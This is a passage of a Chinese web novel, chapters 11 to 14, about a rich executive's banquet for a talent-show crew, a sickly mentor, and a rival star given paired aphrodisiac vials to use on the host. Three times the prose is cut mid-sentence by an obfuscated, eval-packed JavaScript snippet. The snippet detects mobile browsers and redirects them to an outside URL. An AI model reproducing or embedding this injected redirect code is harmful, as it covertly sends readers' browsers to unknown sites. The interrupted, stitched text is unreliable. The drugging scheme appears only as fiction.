这个世界线到目前为止毫不费力却走势良好,他也终于有了一点久违的希望。
但如果搞不定卫珩——也就是那位人在天上还没落地的大总裁——现在打下的所有基础就全都白搭,他肯定还是会死得很惨。
格桑喝了一口水,恰好主持人叫到他点评,他从容不迫地放下水杯,微笑站起,侃侃而谈。
暗地里则默默咬紧了后槽牙。
这些姓卫的,真是一个赛一个的麻烦。
11. 第十一章
从A国飞往境内的专机内宽敞静谧,除了舒适的皮质沙发座椅外,从吧台酒桌斯诺克台,到办公桌等设备都一应俱全。
地上铺着厚厚的绒地毯,走在上面寂静无声。
舒适,却不过度豪华,像极了这架专机的主人的风格。
“咚”的一声脆响,红球击中球桌角落的黑色7分球,黑球在一个十分刁钻的角度旋转着滚了一个弯,最终落袋。
见最后一颗黑球落袋,球桌边的人挠了挠头,歉意地笑道:“哎呀,又输了……让卫先生您见笑了。”
球桌另一头的男人肩膀宽而平直,衣架子一样的身材,衬衫袖子随意地挽到手肘,收回球杆,边上立马有服务人员有眼色地接过球杆挂回壁上。
“谈不上见笑,人各有长。”
男人淡淡道,“活动筋骨就到这里吧,一会儿落地了。”
说完他就转身离开了斯诺克桌,坐到了一旁的岛台前,打开笔记本电脑处理工作。
“卫先生。”
另一人犹豫片刻,恭谨地站在男人身后一步的位置,试探道,“您这次……真打算站在三少爷这边?”
卫家现任家主、也就是卫珩的大哥,有三个孩子,两男一女,其中老三卫烽最为叛逆,放着家里安排好的康庄大道不走,非要去读音乐学院。
行吧,读了也就读了,家主跟太太自己生的儿子,总不能给他塞回去,好歹读的也是全球顶级的音乐学院。
但谁能想到,卫家三少这书还没读完,就直接跟学校办了休学,连知会都没知会他爹一声,就自己跑回国了。
跑回国也都算了,还自作主张跑去参加了个选秀节目,家主知道的时候差点没气厥过去。
他是卫珩的秘书,打从知道这事时就一直在偷觑卫先生的脸色,为三少爷捏了把汗。
稍微了解卫家人的都知道,宁愿得罪家主,也不能得罪卫珩。
这位卫氏集团的现任掌权人,是家主主动“退位”,把接力棒递到他手中的。自打上任的第一天起,就将沉疴多年的集团剔骨清创,短短半年,便把腐蚀大树的蛀虫杀了个片甲不留。
没人见过卫珩发火,遇到再惊险再紧急的事都未曾见他的眉头皱过半分。
卫先生永远不慌不忙,永远情绪平稳。
可正是这种平稳的天生控场气质,让人本能地不敢忤逆。
卫先生也30岁了,至今连个恋爱都没谈过。
也罢。
秘书心想:能让这样的卫先生克制不住情绪,慌乱或情难自已的人……这个世界上想必根本就不存在吧。
……
跑题了。
总之就是这样的卫先生,却在这次三少爷“叛逆”的举动下,选择了站在三少爷这边,不但同意旗下公司赞助三少爷参加的选秀,这次遇着了空闲,还特地飞回国宴请节目组主创人员。
“集团现在在大文娱产业方面是空白,既然卫烽有这个心思,让他打个先锋去探探路,把这片空白开拓出来,也是个不错的选择。”
“这……”恐怕家主会气急败坏吧……
不过论话语权,即便是卫家家主,也比不过卫先生就是了。
“堵不如疏。”卫珩合上电脑,跟随比照他的人体模型量身定制的工学沙发椅微微向后仰,闭目养神,“与其千方百计跟他对着干,不如顺势利用起来。减少无意义内耗,才能让家族的利益最大化。”
卫珩真的是天生的商人。
……也是天生极端强势的控场者。
即便跟随卫珩这么多年了,秘书还是忍不住在心中暗自感慨着。
难怪就算是三少爷那种刺儿头,刺儿遍了卫家所有人,却也一直能跟卫先生相安无事、井水不犯河水。
.
娱乐圈某种程度上是个极为传统的圈子,论资排辈,讲究师承,注重人情,想在这个圈子里混,除非家里有矿能让人无视规则,否则不够人精的人,很难走长远。
三天两头的应酬是少不了的,大部分人已经习惯到麻木。
一公录制其实还算顺利,晚上十点多就收工了,那边场务人员组织观众疏散,这边主创们顶着连轴转了好几天后剩下的半条狗命,还得收整精神去赴大佬的局。
卫烽跟其他选手一起卸完了妆,此刻坐在后台,手机不知不觉又打开了叶格桑的社媒界面。
一边惯性般地刷着那些看过不知道多少次的视频,一边回味今天把小导师圈在怀里时两人相贴的身体温度。
第一次跳舞的时候还没注意,这次他闻到了。
叶格桑好香。
不是那种现在的媚俗小爱豆们爱用的腻人的甜香,卫烽说不上来,他不是一个多么精致的人,没办法像那些小爱豆一样对各种化妆品的色号跟香水的香型如数家珍。
但他的鼻子很迷恋叶格桑身上的味道。
就跟他的名字一样,格桑花一般,幽淡,神秘而惑人……
卫烽舔过嘴唇,再□□刍今天那段回忆,可惜他这次的口出狂言好像把叶格桑惹恼了,小导师用力推开他以后差点没维持住平常那副官方营业的样子,笑容没了,只差横眉怒目。
后来就像被强行揉捏了的小狐狸,凌乱了毛发,甩着尾巴跑了。
卫烽勾起嘴角,兴奋的。
没想到惹小导师生气也让他如此舒爽愉悦。
准确地说,只要能激起叶格桑的情绪——不论是高兴的愤怒的难过的痛苦的,只要小导师不再是那副对他跟所有人一视同仁的官方模样……都能让他周身血流涌动。
就好像下一步就能对叶格桑做那个视频里的那些事了一样。
不过这次真把小导师惹毛了,这也不大好,之后还是得想法子跟他道个歉。
……
卫烽沉浸在自己的想象和谋划中,完全没意识到,自己现在这种行为就跟发现美女看了自己一眼就开始幻想以后生孩子该取什么名的Loser一样。
堂堂卫家三少,从小到大周围巴结勾引倒贴的男男女女无数,大概做梦也没有想过自己会有这么狗的一天。
卫烽的幻想剧场最后是被手机短信打破的。
正颅内高着呢,卫家三少不爽地打开手机,一看是他小叔卫珩。
【克林徳酒店,23:30,2号小宴会厅。】
言简意赅,毫无废话,更么得感情,的确是他小叔的风格。
卫烽愣了一下,这才想起之前好像卫珩是说过这几天要回国请节目主创团队吃饭来着,顺便也来跟他通个气,交流接下来的规划。
于是他回:【好。】
他们叔侄俩差不到十岁,照理说跟兄弟差不多,但两人都是极为强势的性格,一个控制欲强,另一个个性锋芒毕露,尽管二人在很多大事上能达成一致,但相处起来很难亲密,甚至是生分的。
短暂交流就这么到此结束,虽然许久未见,卫烽也属实没什么话要跟卫珩说,对于这次聚餐亦没什么感觉,纯当完成任务。
不过请“主创团队”聚餐……
那应当包含导师吧。
——应当也包含叶格桑吧?
……
卫烽“噌”地从沙发上站了起来。
.
克林徳酒店是会员制高档全球连锁酒店,包含住宿、餐厅、宴会厅、以及奢侈品购物一体化,是全世界的富豪们旅行住宿跟宴请的首选地点。
同时,这家酒店也是卫氏旗下的产业。
节目的主创团队虽然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093468|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大多都是久经沙场之人,参加过各式各样的饭局,但这么豪奢的酒店也是第一次进,一个个在大到能跑马的大堂里迷人的香气中迷失了自我。
酒店的服务人员训练有素,无需多话一句,看到大家便微笑鞠躬招呼,丝滑地将整个团队带往宴会厅。
格桑的保姆车是最后进车库的,人也缀在一群人的末尾。
其他人中不乏眼睛瞪大偷偷东张西望的,但他兴趣缺缺,情绪也不怎么高,连眼皮都懒得掀起多看一眼周围豪奢的陈设。
那个之前嘲讽过格桑的小流量导师名叫周玺,他家庭出身不太好,在娱乐圈闯了这么多年倒是对消费类奢侈品牌如数家珍,再往上就够不着了。
服务人员领着他和他的团队服务人员站到某一处,明明乍看是跟其他地方一样的深灰色地毯,却在他们站上后平稳地向前滑去,竟是一个隐形的传送带。
传送带载着他们滑过大厅右侧的拱形长廊,长廊从顶到外壁都是透明玻璃的,玻璃外被蔚蓝的海水环绕。
周玺一抬头,就见一尾虎鲸一拍尾巴,从他的头顶旋游而过。
传送带继续往前,周围照旧是透明玻璃墙,但又没有海水了,玻璃墙外变成了葱郁的草原和丛林。
周玺瞳孔巨震。
刚才全是水姑且看不出来,但这一眼望不到头的草原丛林跟……简直难以想象是在建筑物之内。
正在震撼之中,只听一声震耳欲聋的兽类咆哮,周玺吓得一颤,然而下一幕更恐怖——只见一头体型格外健硕的雄性美洲狮缓步向他走来,走到距离周玺不过一臂的距离,龇出了獠牙。
又是一声咆哮。
长廊的玻璃墙太干净,且毫无拼接痕迹,亦无反光。
以至于周玺那一刻真的误以为这头美洲狮就毫无阻拦地站在自己面前,冲他怒嚎。
“待爆顶流”的腿一软,当即就一屁股跪坐在了地上。
……
最后周玺是在服务人员的连声致歉下被助理跟经纪人手忙脚乱扶起来的,他腿还是发软,怎么也没想到这顶级富豪居然有这种恶趣味,竟在酒店公开的走廊外面养这种猛兽,害得他如此丢人。
得知叶格桑跟他的团队就跟在他们后面,周玺不顾自己还没稳住的心跳,在助理的搀扶下扭头看去。
那头美洲狮明显还处在暴怒之中,而且比刚刚还要暴躁,前爪正不耐地划拉着地面,怒视着栈道中的人。
周玺勉强稳住身体。
他自己出丑就出丑了,他倒要看看叶格桑那个喜欢被男人草的小娘炮会不会被吓得尿裤子。
怀着这种恶劣因子远远望去,果然看见叶格桑他们也刚好路过了美洲狮的面前。
周玺翘起嘴角——呵,叶格桑要在这么多人面前丑态毕露了。
然而……
叶格桑余光留意到雄狮,只是微微转头看了狮子一眼,那刚刚对他龇牙咧嘴耀武扬威的孽畜,不知为何,就渐渐收敛起了攻击的姿态。
叶格桑亦面色平淡,丝毫没有被猛兽窥伺的畏惧。
他此刻已经换下了刚刚录节目时那身天价秀款西装,换了素净的私服。
白色宽松衬衫,加了一点新中式的银丝暗纹点缀,在栈道中的微光下流光溢彩。
海棠春绽,雪里寒梅……古典画中的春花秋月,尚且不及他半分颜色。
叶格桑轻轻抬手,葱段般的指尖触及玻璃墙,墙边的美洲狮霎时匍匐下上半身。
同时屁股高高崛起,尾巴一晃一晃,仰头眨巴着眼睛眼巴巴看着叶格桑。
猛兽一瞬间变成了家猫。
……不对。
猫可没这么狗腿这么谄媚。
“……”
周玺气疯了。
12. 第十二章
节目组跟赞助商两边来的人数加起来五六十人左右,不算多,所以定在了一个小宴会厅。
说是“小”宴会厅,进了门才发现面积一点也不小,只是酒店豪横,餐桌餐椅只占据了这个厅很小的一部分,环绕中央的一个香水喷泉,一入厅中如置身花海,香气袭人。
宴会厅的落地窗前斜放了一架三角钢琴,节目组副导演是个古典音乐爱好者,一进门眼睛就黏到了钢琴上,盛赞道:“好琴啊!”
周玺跟在副导演身后进来,闻声便看向那台琴。
那琴在他看来就是一台普普通通的黑色三角钢琴,他认不出牌子,在他看来好钢琴的代名词就是施坦威,但这台明显logo不对。
“是意大利FAZIOLI的特别定制款,钢琴中的顶奢了,在一个普通小宴会厅里放台这个……这酒店是真不差钱。”副导演咋舌。
“克林徳酒店背后的资本就是卫氏,咱们的赞助商也是,归根结底是卫氏集团不差钱咯。”
周玺喉头微动,咽了一口口水。
卫氏。
他们节目的总赞助商是一个科技品牌,这品牌是归属于卫氏集团旗下的子公司的,一开始他以为今天请客的是这个科技公司的老总,后来才打听到,不是。
这场宴请居然是卫氏集团的总BOSS发起的——听起来很离谱。
这是周玺这种小流量平时极难够到的大佬,所以尽管他今天累得腰酸背痛,还是精神一振,在来的路上一路认真补妆打扮。
以他的背景,能走到今天已经是走了狗屎运,他自己也知道,他的巅峰可能就只能到这了,接下来只会一路下坡。
但若是能给自己找到一个厉害的金主……那就不一样了,他的事业绝对会更上一层楼,成为顶流不是梦。
人人唾弃叶格桑那样的资源咖——可谁不想当资源咖?谁会不喜欢名利和资源滚滚向自己而来?
除非他傻。
周玺不傻。
大家相继落座,人还没来齐,那位卫氏的BOSS当然也还没到。
都是相熟的人,三三两两聊天打趣,气氛还算随意。
周玺跟另外三个导师一起坐在主桌、香水喷泉的正前方。
他飞快瞥了一眼叶格桑,见后者恹恹的,垂着眼皮懒洋洋靠在椅子上。
他旁边的宋樑不知道在跟他说什么,叶格桑回得有一句没一句。
香水喷泉溅落的水滴在灯光映射下如珠如玉,在叶格桑的身侧大珠小珠落玉盘。
周玺再不待见叶格桑也不得不承认,这个人哪怕只是懒散地坐在那里什么都不干,都是那么光彩夺目,美得摄人心魄。
他神经质地抠着指甲,再次把粉饼掏出来补妆,不放过脸上任何一块瑕疵和出油的地方。
周玺不是同性恋,但如果能扒上这么好的金主……他愿意出卖屁股,毕竟圈子里这么干的人多了去了,不缺他一个。
怕就怕,金主看上的不是他的屁股。
……
桌子另一头的格桑不知道周玺心里的小九九,也不关心,他现在很疲惫,心情更是糟糕。
身体一劳累,心情一烦躁,各种不适也就席卷了上来。
助理跟经纪人都跟其他幕后工作人员坐一桌,没人在旁边鞍前马后地伺候他了,只有一个顶着一张禁欲冰山脸嘘寒问暖的宋樑。
他心里有些嫌烦,面上还得应付几句。
没办法,好不容易刷出来的爱慕值,怎么也要维护住。
头很痛。
眼前泛起眩晕,心跳快而杂乱。
格桑的手指掐紧了桌沿,以保持自己摇摇欲坠的身体不要真的倒下,心里把那个精力过分旺盛的卫大总裁骂了一百遍。
大老远从A国跨了半个地球飞回来,连个时差都不倒就拉人出来吃饭。
就这么缺这顿饭么。
格桑面无表情地思考在饭里下毒毒哑卫珩的可能性,殊不知自己勉力支撑的身体已经在逐渐向下滑落,旁边的宋樑见他这副样子,吓了一跳,赶忙伸手抱住他。
宋樑的手臂堪堪搂住格桑的腰背,另一只手穿过青年胸前清瘦的肋骨处,长臂一伸就把人圈进了自己怀里。
其他人自然也注意到了格桑的状况,不过大部分人不喜欢格桑,又因他这几天的小视频事件,在场大多人是看笑话的态度,漠不关心。
甚至有人朝宋樑投去了微妙的眼神。
宋樑老师斯文儒雅、君子如风,总该不会……也有那种下三路的想法吧?
不然哪个好人会对叶格桑这么殷勤周到呢?
……
卫珩在保镖的护送下走进宴会厅的时候看到的就是这样的场景:几个人围着一个青年,那人大约是身体不舒服,虚弱地半躺半靠在旁边男人的怀里。
从他的角度看不到青年的脸,只能看到那人侧边垂下的手臂,宽松的衬衣袖口下露出一截皓白的手腕,十指如玉。
卫珩见过的美人,不论男女,都如过江之鲫,竟从未见过这样漂亮的一只手。
不过他这人,不好猎艳,独爱逐利。
他不甚在意地问身边人:“那是谁?他要是不舒服就叫医护人员过来看看。”
“卫总,那是他们节目的总导师叶格桑,一个流量艺人,他好像身体一直不太好,刚才您来之前已经有酒店工作人员去找医护了,应该过一会儿就会来。”
“叶格桑?”
居然是卫珩听过的名字。
卫珩对于娱乐圈属实是知之甚少也毫无兴趣,能叫得上名字的艺人屈指可数,知道这个叶格桑还是卫烽的功劳。
他的好侄儿来参加这个节目时跟他提过一嘴,声称他来这节目纯粹为了快速刷出知名度,并且表示这节目制作虽大,但导师阵容属实不怎么样,四个人中只有一个是真的专业能力过硬的,其他的要么是花瓶,要么镶边。
其中这个叶格桑,更是花瓶中的花瓶,且风评极差。
具体怎么个差法卫珩就不知道了,毕竟卫烽也就是顺嘴一提,两人谁也不是爱嚼人舌根的性子。
见卫珩陷入了思考,工作人员善意提醒道:“卫总,他若是真不舒服,您交给医护跟他自己的团队处理就好,还请您不要插手,这个叶格桑风评在业内不是很好,如果真病了也就罢了,万一不是……”
工作人员眼神闪烁,意思很明显——
这个人品德极差,有可能是故意装病想讹您或赖上您呢。
“叶格桑本人虽然家境很不错,但也就是不错罢了,要跟卫氏比,就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093469|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蚍蜉撼树了。您年轻有为,以叶格桑其人的人品……不好说他是怎么想的。”
故意在别人设宴时出状况引起金主注意——很老土的钓金主法子,然而经久不衰。
卫珩平时不涉足演艺圈,工作人员怕他们刚正不阿的大BOSS上这狐狸精的当。
宴会厅顶上的水晶灯层层叠叠洒下暖黄的光,落在那被众多人捧在中心的男青年身上,镀了一层浅浅玉色。
明明离得那么远,对方的皮肤白到卫珩甚至能看到他手背上青色的血管。
不像装的。
卫珩没理会旁人的长篇大论,自己下了判断。
……
全球的每一家克林徳酒店都养了内部的医疗团队,团队内全是高薪聘请的全科医护精英,24h随时待命,一旦酒店内有人出现紧急状况能立马上阵救治。
医护来得很快,设备也齐全,所幸简单检查后没什么大问题。
“只是体质弱加上劳累引起的轻微电解质紊乱,补充电解质稍微休息下就好。”
酒店的宴会厅都配有休息室,叶格桑团队就带着他们家体弱多病的顶流休息去了,其他人继续。
卫珩掐着23:30的约定时间准时踏入宴会厅。
节目主创团队的人没见过这位传说中卫氏集团的实际掌权人,卫珩的穿着也很低调——连西装都没穿,就简简单单的衬衫西裤,带了两三个人,娱乐圈随便拎一个稍有知名度的艺人都比他有排场得多。
倒是跟克林徳酒店的给人的纸醉金迷之感并不相称。
尽管卫珩低调,但愣是光凭气势,就叫在场所有人当即认出了这位卫氏的顶头大BOSS。
全场短暂静默几秒,然后就是一叠声的“卫总好”,“大晚上的,劳您远道而来”,“卫总刚下飞机时差还没倒过来吧?卫总辛苦了,卫总累么”……的狗腿声。
卫珩只点点头,“大家好,让各位久等了。”
有人殷勤地为他拉开了最上首的椅子,卫珩颔首致意,坐下,见所有人都眼巴巴看着他,淡淡道,“这一餐是感谢各位为这个项目共同作出的努力,节目即将上线,相信大家的付出会收获应有的成果。
“大家都辛苦了,不用顾忌我,自在随意些就好——该吃吃该喝喝,该聊天就聊天。”
众人本来已经做好了听领导发表重要讲话的准备,谁也没想到卫总竟是如此务实的风格,一时间面面相觑,谁也不敢动筷子。
服务人员将醒好的红酒和香槟依次为每人倒上,卫珩见没人敢动,就拿起红酒杯,“那么,预祝接下来的项目进程一切顺利。”
众人这才长舒一口气。
酒杯一一举起,该完成的仪式完成,接下来就看个人了,纯当应酬的埋头吃饭吃完提前走人,有别的心思的,也就可以开始找机会了。
……
比如周玺。
周玺现在欣喜若狂。
简直像被天上掉下来的巨额中奖彩票砸中了。
叶格桑忽然发病进小房间休息了,跟卫珩连面都没见着。
简直是老天有眼。
他再次掏出镜子,认真整理了一番仪容,确认了自己的姿色绝对能胜过娱乐圈百分之八十的男男女女后,捧着酒杯便向卫珩走去。
13. 第十三章
卫珩这次回国主要目的是跟卫烽接洽,设宴招待节目组是顺便。
这档选秀节目的团队在国内也算首屈一指了,他打算实际接触一下,看看对方能力究竟如何,有没有往后进一步合作的可能。
跟导演团队简单聊了几句,能感觉出来对方挺有想法,卫珩还算满意。
不枉他一下飞机就来这一趟。
“卫总。”
这边刚跟导演聊完,卫珩接了个电话的工夫,就听见身后一声甜腻的呼唤,转头间,对方已经举着杯子来到了他身侧。
他扫了这人一眼——个子不高,很瘦,长了副现下娱乐圈跟网络上似乎都很流行的大眼小脸翘鼻子,打扮得有点用力过猛。
他礼节性地点点头。
“我是周玺,您应该知道的。”来人甜甜地笑着,笑得跟他的穿着同样用力。
卫珩不知道,倒也没直接拆对方台。
这样的人他在各式各样的场合见过很多,男女皆有,通常都外貌条件不错。
蓄意接近,寻找单独相处的机会,观察自己的喜好并刻意逢迎。
当卫珩以这样的视角审视,愈发显得这个叫周玺的小艺人的每一步都跟前人如此千篇一律,甚至连台词都是如此:
“卫总,我敬您一杯。我干了,您随意。”
说罢对方举起红酒杯。
周玺的上衣很短,裤腰则较低,举杯时恰到好处地露出从腰到臀部上围的曲线,再露出一点胳膊,手指端酒杯的角度似乎都是经过精心设计的,正好将手腕最脆弱纤细的那一截展露在卫珩的眼皮底下。
看着面前这只手,不知为何,卫珩脑中浮现的,却是方才刚进宴会厅时那只无力垂落的、纤白如玉的手。
只是恍神的一瞬间,周玺已经把红酒干了,脸颊爬上红晕,跟淡淡的腮红交相辉映,无比自然的醉酒妆。
对方扶了一把桌沿,揉着眉头,苦笑道:“抱歉啊,卫总,我酒量不好……”
“这酒是酒店珍藏了多年的好酒。”
周玺离卫珩很近,卫珩却没有伸手扶他,只淡淡道,“红酒不适合牛饮,你不胜酒力,更不应该勉强。
“我也没有跟人拼酒的习惯——桌上有醒酒茶,我让人给你倒一杯,解解酒。”
卫珩甚至没有起身,更没捧起过酒杯,这样直接的拒绝让周玺相当难堪,却也只能赔笑:“……是,是,卫总说的对,是我暴殄天物了……”
第一轮搭讪落败,周玺尴尬地回到自己位置,偷觑卫珩跟其他人聊天。
环视一圈他们这桌,大多位置都空了,除了导演等人在到处跑外,四个导师里,叶格桑病了被带走,宋樑竟也不知去向。
联系起近来宋樑频频为叶格桑说话的样子,周玺嘲讽地扯了扯嘴角。
他怕不也是成了叶格桑的入幕之宾,看着一副假正经样,结果叶格桑勾勾手指就跟狗见了骨头似的。
周玺眼神一暗,咬住下唇。
明明叶格桑那种龌龊事的视频都满天飞了,明明叶格桑要能力没能力,要口碑没口碑,除了一张脸一无是处……
可是还是永远有那么多人围着他团团转,为他鞠躬尽瘁。
这太荒唐了。
叶格桑,他凭什么?
周玺的经纪人此时走了过来,递给他两瓶透明的液体,都是小小的玻璃瓶,不到5ml。
“无色无味无沉淀的高级货,是新科技,两种药是一对,喝了会荷尔蒙吸引,就跟ABO小说一样,牛吧?”经纪人神秘一笑,“胆子大点。放心,失败了也不过就是出点丑。一旦成功,你的星途可就坦荡了。”
周玺抿了抿嘴唇,攥紧了药瓶。
.
护士轻柔地拔掉了格桑手背上的针管,他白皙的手背有些泛青,助理帮忙按了会儿棉签。
格桑靠在沙发床上,有点懒得从休息室出去。
宋樑应酬也不应了,从刚才起就一直守在他旁边,这个一贯从头到脚都无比修整的男人衬衫扣子终于解了两颗,衣服也褶皱了。
“好点了吗?”宋樑道,“再缓缓吧。”
格桑其实已经好了,但实在不是很想出去面对卫珩,随口胡扯:“嗯,心跳还有点快,气不顺。”
宋樑便给他顺了顺气:“那再歇歇。”
宋樑的助理也跟在旁边,很有眼色地给格桑递上温水,格桑垂着眼皮接过,啜饮了两口就不喝了,小助理又勤勤恳恳把水端回去。
不得不说,有的人就是有这种魔力,让人见了就想哄着供着,想倾尽所能为他摘星星造月亮,仅仅为了让他高兴,不想在他眼中看到失望的神色。
以及,想让他的目光,在自己身上多停留哪怕一秒。
助理拿开了棉签,格桑就盯着自己手背上的青紫色瘀痕发呆,小狐狸尾巴不爽地一晃一晃。
系统:【观测到宿主情绪消极,本统有一个好消息,宿主是否迫不及待想知道?是/否】
格桑:【不想知道。】
系统:【…………】
系统难得地狗腿道:【虽然宿主不想知道,但我保证这是一个会让宿主心情愉悦的消息!尊嘟!所以还是由我来自作主张地告诉宿主吧:锵锵锵锵~~猜猜主角阵营二号卫珩对宿主的雄竞值是多少?】
格桑不搭理它,系统便从善如流地自问自答:【居然是0耶!】
系统:【雄竞值为0,就意味着卫珩的基础属性很不错,很容易搞定,只要宿主付出少许努力,就可以轻松提高本文爽度,达成本世界通关!】
格桑:【知道了,你可以消失了。】
【……】系统,【好的,小统告退Q_Q】
……
这系统不怎么通人性,不然不会报告这么无聊的事,但凡用正常人的脑子跟情商想想,卫珩对他的雄竞值是0,都是再正常不过的事。
两人处在毫无竞争关系的圈子中,以卫总的权力地位跟财力,有什么好跟他一个艺人雄竞的呢?
但雄竞值为0不代表卫珩就很好摆平,格桑之所以一想到卫烽这个小叔就头痛,在于原书情节里,卫珩就是那个一步步蚕食他们叶家的产业,最终间接导致叶格桑家破人亡、父母破产自杀的幕后推手。
卫珩的目标是扩大卫氏集团在国内的商业版图,那就势必会给叶家有利益纷争,两者体量差距太大,叶家产业被卫氏侵吞在所难免。
所以他要搞定的根本不是卫珩的雄竞值——降低雄竞值,提升主角团爽度,获利的只是世界线跟系统,跟他叶格桑本人有什么关系?
牺牲他一个,成全千万家的蠢事,格桑不干。
如果不打算继续摆烂的话,他就得搞定卫珩这个人才行。
格桑幽幽叹了口气。
这声轻叹引发了周围的一串连环反应,经纪人助理连声问候,宋樑紧张不已,就连宋樑的助理都大惊小怪,生怕好不容易养好的陶瓷小人又要出什么岔子。
“怎么了格桑老师?”
“又不舒服了?哪里难受?”
“要不我叫医生护士再来一趟……”
格桑摇了摇头:“没事。”
“那您想什么呢,别叹气了。”助理下意识抬手抚平格桑的眉心。
想怎么搞定卫珩呢……唔,色.诱行么?就跟宋樑一样。
格桑掀起眼皮瞥了宋樑一眼——算了,这种话,还是不要当着宋樑的面说出来。
好不容易才收服的小狗呢。
他还是挺珍惜的。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093470|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没事了,出去吧。”格桑起身下了床,“毕竟是赞助商大BOSS设宴,总得给人一点面子。”
现在时值凌晨0:35,放在别的行业,大家差不多都该洗洗睡了,但在传媒影视这种夜猫子遍地的领域,大家的夜生活才刚刚开始。
原本因为连续的工作而萎靡不振的人,几杯黄汤下肚,精神也好了,话也多了,随便逮着个人就称兄道弟口若悬河,宴会厅又足够大,随便大家满场跑着social,丝毫不显杂乱拥挤。
副导演的胆子跟艺术细菌随着酒精一起上头,坐在了那台定制FAZIOLI面前,十分忘我地演奏了一曲德彪西,摇头晃脑,“好琴,好琴……好琴啊…………”
格桑的目光只是在副导演身上短暂停留了一下,宋樑立马道:“你喜欢古典音乐么?”
“还行吧。”格桑没什么特别喜欢的音乐类型,这个时代的文娱产业发展跟他所在的时代差太多了,他的阈值有点高。
宋樑看了副导演一眼,金丝边眼镜后的眼睛微眯:“德彪西虽是印象派,没有古典主义那么严格的演奏方式规定,他弹得也过分随意了,浪费了好琴。”
于是副导演一曲陶醉完毕,宋樑就“请”开了他,自己坐上了琴凳,修长十指翻飞,同样一支曲子,在纯正古典学院派出身的宋樑手下,音符乐句与香水喷泉共振,在空气中悠扬逸散,跟胡乱自嗨的副导演水平完全不可同日而语。
众人被音乐吸引而来,围聚在三角钢琴四周,欣赏赞叹。
这些人的赞美跟掌声却触动不到宋樑,他一边弹着,目光一边时不时越过人群看向格桑。
克己如他,也抑制不住眼底的那点希冀。
然而格桑根本没有看他。
唯美飘扬的旋律都渐渐黯淡了下去。
随性悠扬的德彪西,变成了失落沮丧的德彪西。
.
“卫先生,三少爷说他可能得晚些到。”
秘书放下手机,弯腰对他的BOSS说道。
吃了半个多小时的饭,卫珩已经探过在场大多数人,心里也暗暗记住了几个名字,他这趟饭局的目的已然达成,自然不会参与其他人的群魔乱舞,此刻正趁着暂时没人找自己社交的空隙独自品酒。
“嗯,知道了。”
秘书想了想,又替卫烽解释道:“三少爷说,节目组没人知道他的身份来历,选管管得严,他溜出来费了点劲,才会拖到现在。”
“无关紧要的小事。”卫珩道。
宴会厅中音符飘逸,本该浪漫唯美的德彪西不知为何被演奏出了一丝颓唐,卫珩看向角落那台FAZIOLI,秘书再次很有眼色地介绍:“弹琴的是节目的四位导师之一,也是现在非常有影响力的音乐人,很有才华,名字叫宋樑,他是这次的专业担当。
“刚才您可能一直没注意到他,我也是刚看见他,刚听人说他之前一直在休息室陪叶格桑呢。”
“嗯,那个姓叶的导师已经好了?”卫珩的视线只在钢琴前的男人身上掠过了一下,随口问。
“是的,医生说只是轻微的电解质紊乱,及时补了液,现在已经没什么大碍了,正在沙发上休息呢。”
卫珩的目光顺着秘书的话,飘到了钢琴的另一侧,落地窗前空旷地的组合沙发上。
只见一名身材清瘦的青年像一滩猫一样懒散地倒趴在沙发背上,在其他人的欢声笑语中自成一角,不知在想什么。
沙发背转角垂下来一只修长白皙的手,卫珩凭手认出了人。
只是可惜了那玉色的手背,原本只能看见淡淡的青筋,现在却有了一小片青紫的瘀痕。
卫珩眯起眼,目光在那瘀痕上停留了很久。
……莫名地,引人产生施虐欲。
14. 第十四章
卫珩的身边一直有人,周玺攥着经纪人给的小瓶子,许久也没找到机会下手。
他记着经纪人叮嘱他的话:
“创造一个跟卫总单独相处的机会,暂时绊住他,别让其他人靠近。
“这药生效的速度非常快,只要你俩分别喝下,干柴烈火、巅峰享受都不是梦!
“哦,瓶口上标了数字编号的,用来区分,两瓶的功能稍微有点不太一样,你记得把写1的给卫总喝,那个喝了就龙精虎猛雄风昂扬。
“写了0的你自己喝,喝了以后就小腰一软空虚渴望……你懂的,好多人以前没跟男人试过,一开始也就是图新奇玩玩,结果试了一次就上瘾了。”
周玺之前没跟男人搞过,但他没吃过猪肉也见过猪跑。
享不享受的无所谓,都是为了达成目的罢了。
不想再做“待爆顶流”了,他要做真正的顶流。
要做远远超过叶格桑的顶流,让大家的目光都停留在自己身上——爱也好,恨也罢,一出现就是万众瞩目,连高傲的雄狮都为自己俯首。
周玺握紧了手中的药瓶,他坐在自己的位置上,但神经质地频频扭头看沙发上趴着的叶格桑。
